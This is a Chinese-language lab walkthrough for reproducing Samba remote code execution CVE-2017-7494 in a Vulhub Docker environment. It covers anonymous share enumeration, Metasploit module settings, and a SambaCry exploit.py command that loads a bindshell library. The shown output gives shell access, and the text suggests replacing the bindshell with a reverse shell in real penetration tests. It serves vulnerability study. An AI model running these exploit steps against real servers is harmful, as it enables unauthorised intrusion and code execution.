Samba 远程命令执行漏洞 CVE-2017-7494

漏洞描述

Samba 允许连接一个远程的命名管道,并且在连接前会调用 is_known_pipename() 函数验证管道名称是否合法。在 is_known_pipename() 函数中,并没有检查管道名称中的特殊字符,加载了使用该名称的动态链接库。导致攻击者可以构造一个恶意的动态链接库文件,执行任意代码。

该漏洞要求的利用条件:

参考:

漏洞影响

Samba版本 ≤ 4.6.3(该漏洞在 4.6.4 被修复)

环境搭建

Vulhub 运行测试环境:

docker-compose up -d

测试环境运行后,监听 445 端口,默认开启了一个共享“myshare”,共享的目录为 /home/share,可读可写。

漏洞复现

smbclient 匿名枚举:

# apt install smbclient
smbclient -L //10.8.0.1/ -N

smbclient 匿名连接(如果连接不成功,可能是运营商封禁 445 端口,建议本地或虚拟机测试):

smbclient //10.8.0.1/myshare -N

metasploit:

msf6 > use exploit/linux/samba/is_known_pipename
msf6 exploit(linux/samba/is_known_pipename) > set SMB_SHARE_NAME myshare
msf6 exploit(linux/samba/is_known_pipename) > set SMB_FOLDER /
msf6 exploit(linux/samba/is_known_pipename) > set rhosts 10.8.0.1
msf6 exploit(linux/samba/is_known_pipename) > run

参考 #224,如果 metasploit 无法复现这个漏洞,可以使用 SambaCry RCE exploit for Samba 4.5.9 来复现。

配置 SambaCry RCE exploit for Samba 4.5.9:

$ conda create -n py27 python=2.7
$ pip install -r requirements.txt

在目标服务器上执行 /home/share/libbindshell-samba.so,其中 myshare 是分享名称(在 vulhub 中为 myshare),而 /home/share 是对应的可写目录。-u-p 用来指定用户名、密码,当前环境是一个匿名 smb,所以填写任意信息均可。因为 libbindshell-samba.so 是一个 bindshell,监听地址是 6699,所以我们通过 -P 指定这个端口。在实际渗透中,我们可以修改 libbindshell-samba.c,写入任意其他代码,如反弹 shell,避免使用 bindshell。

# py27
python exploit.py -t 10.8.0.1 -e libbindshell-samba.so -s myshare -r /home/share/libbindshell-samba.so -u guest -p guest -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.8.0.1 at 6699
[+] Veryfying your shell...
>>Linux f8c6cce116fa 5.4.119-20.0009.31 #1 SMP Tue Apr 9 16:04:48 CST 2024 x86_64 x86_64 x86_64 GNU/Linux
id
>>uid=65534(nobody) gid=0(root) groups=0(root),65534(nogroup)

成功执行命令: